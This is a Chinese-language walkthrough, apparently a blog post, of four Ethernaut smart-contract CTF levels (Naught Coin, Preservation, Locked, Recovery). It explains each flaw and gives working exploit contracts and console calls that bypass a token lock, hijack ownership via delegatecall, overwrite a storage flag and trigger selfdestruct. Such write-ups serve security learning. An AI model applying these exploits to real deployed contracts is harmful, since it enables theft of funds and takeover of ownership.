【智能合约】Ethernaut writeup(五)

Naught Coin

目标:现在手里有一些代币,但是十年之后才能转走,想办法转走他们,使得你合约中的代币为 0

pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
 contract NaughtCoin is StandardToken {
  using SafeMath for uint256;
  string public constant name = 'NaughtCoin';
  string public constant symbol = '0x0';
  uint public constant decimals = 18;
  uint public timeLock = now + 10 years;
  uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
  address public player;
  function NaughtCoin(address _player) public {
    player = _player;
    totalSupply_ = INITIAL_SUPPLY;
    balances[player] = INITIAL_SUPPLY;
    Transfer(0x0, player, INITIAL_SUPPLY);
  }
  function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
    super.transfer(_to, _value);
  }
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

先看一下有多少代币

await contract.balanceOf(player)

image

在合约中,他 import 了一个 StandardToken.sol

pragma solidity ^0.4.6;
import './ERC20Lib.sol';
 contract StandardToken {
   using ERC20Lib for ERC20Lib.TokenStorage;
   ERC20Lib.TokenStorage token;
   string public name = "SimpleToken";
   string public symbol = "SIM";
   uint public decimals = 18;
   uint public INITIAL_SUPPLY = 10000;
   function StandardToken() {
     token.init(INITIAL_SUPPLY);
   }
   function totalSupply() constant returns (uint) {
     return token.totalSupply;
   }
   function balanceOf(address who) constant returns (uint) {
     return token.balanceOf(who);
   }
   function allowance(address owner, address spender) constant returns (uint) {
     return token.allowance(owner, spender);
   }
   function transfer(address to, uint value) returns (bool ok) {
     return token.transfer(to, value);
   }
   function transferFrom(address from, address to, uint value) returns (bool ok) {
     return token.transferFrom(from, to, value);
   }
   function approve(address spender, uint value) returns (bool ok) {
     return token.approve(spender, value);
   }
   event Transfer(address indexed from, address indexed to, uint value);
   event Approval(address indexed owner, address indexed spender, uint value);
 }

引用的这个合约中有两个转账函数,一个是 transfer 还有一个是 transferFrom,而题目的合约只对 transfer 进行了重写,我们可以使用题目 import 的那一个合约中的 transferFrom,先看一下 StandardToken.sol import 的 ERC20Lib.sol,看一下 transferFrom 是怎么定义的,他需要先经过 approve 批准才能使用

...
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
    var _allowance = self.allowed[_from][msg.sender];
    self.balances[_to] = self.balances[_to].plus(_value);
    self.balances[_from] = self.balances[_from].minus(_value);
    self.allowed[_from][msg.sender] = _allowance.minus(_value);
    Transfer(_from, _to, _value);
    return true;
  }
...
  function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
    self.allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
  }
...

使用 approve 进行授权

await contract.approve(player,toWei(1000000))

然后通过 transferFrom 来实施转账

await contract.transferFrom(player,contract.address,toWei(1000000))

image

image

image

Preservation

目标:拿到合约所有权

pragma solidity ^0.4.23;
contract Preservation {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  uint storedTime;
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }//构造函数
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

contract LibraryContract {
  uint storedTime;
  function setTime(uint _time) public {
    storedTime = _time;
  }
}

delegatecall 调用的时候执行的是调用的那个函数,但是用的是本合约的变量,可以写一个 exp

pragma solidity ^0.4.23;
contract PreservationPoc {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  uint storedTime;

  function setTime(uint _time) public {
    owner = address(_time);
  }
}

首先调用正常合约中的一个函数 setxxxTime("恶意合约地址"),这样就可以把他的变量改成了我们的合约地址,再次去调用的时候就是去执行我们合约中的代码了,比如:

await contract.setSecondTime("恶意合约的地址")

这样 timeZone2Library 就成了恶意合约的地址,再次去执行 setSecondTime 的时候就是执行的恶意合约了,拿我们部署的来说就是改变了合约的所有者

await contract.setFirstTime(player)

image

一开始合约所有者不是我们,后面我们已经成为了合约的所有者,在第一次做的时候这样是不行的,要先用 setSecondTime 设置恶意合约为变量,然后 setFirstTime 来改变合约所有者,不明白怎么回事

image

image

Locked

目标:注册

pragma solidity ^0.4.23;
contract Locked {
    bool public unlocked = false;  //默认是false
    struct NameRecord { //我们想要注册
        bytes32 name;
        address mappedAddress;
    }
    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 
        require(unlocked); //要让unlocked为true才能注册
    }
}

【先知】智能合约审计系列——3、变量覆盖&不一致性检查

这里涉及到一个变量覆盖的问题,在 solidity 中是有两种存储状态的,一个是 storage 一个是 memory,对于 struct 和 数组 来说,默认就是 storage ,对应上面我们的第 12 行 NameRecord newRecord 会被当成一个指针,newRecord.name 默认指向第一个存储块,也就是 unlocked,所以我们可以通过修改 newRecord.name 来修改 unlocked

当输入 name="0x0000000000000000000000000000000000000000000000000000000000000001"(63 个 0),地址任意地址时,会覆盖 unlocked 的值,使其变为 true

image

image

Recovery

目标:新生成了一个合约并转了 0.5 ether,但是丢失了合约地址,从丢失的合约中恢复 0.5 ether

pragma solidity ^0.4.23;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Recovery {
  //generate tokens
  function generateToken(string _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  }//新建了下面的合约
}
contract SimpleToken {
  using SafeMath for uint256;
  string public name;
  mapping (address => uint) public balances;
  constructor(string _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }
  function() public payable {
    balances[msg.sender] = msg.value.mul(10);
  }
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }
  function destroy(address _to) public {
    selfdestruct(_to);//自毁函数,pubic的
  }
}

生成一个实例之后去看一下详情(国内 404,所以要..)

image

可以看到,我们的帐户给了他 1 ether,然后他又给了另一个地址 0.5 ether,这就是新创建的合约的地址,我们只需要调用新建的这个合约的 destory

image

mark一下:

新建合约:0xD2F46c7A6F69d56570BF25346f0Cc893a5925828

exp:把新建的合约地址贴上去部署 RecoveryPoc

pragma solidity ^0.4.23;
contract SimpleToken {
  string public name;
  mapping (address => uint) public balances;
  function() public payable ;
  function transfer(address _to, uint _amount) public ;
  function destroy(address _to) public ;
}
contract RecoveryPoc {
    SimpleToken target;
    constructor(address _addr) public{
        target = SimpleToken(_addr);
    }//构造函数
    function attack() public{
        target.destroy(tx.origin);
    }
}

把那 0.5 ether 还给了我们,同时自己销毁了

image

提交就可以啦

image

2 个赞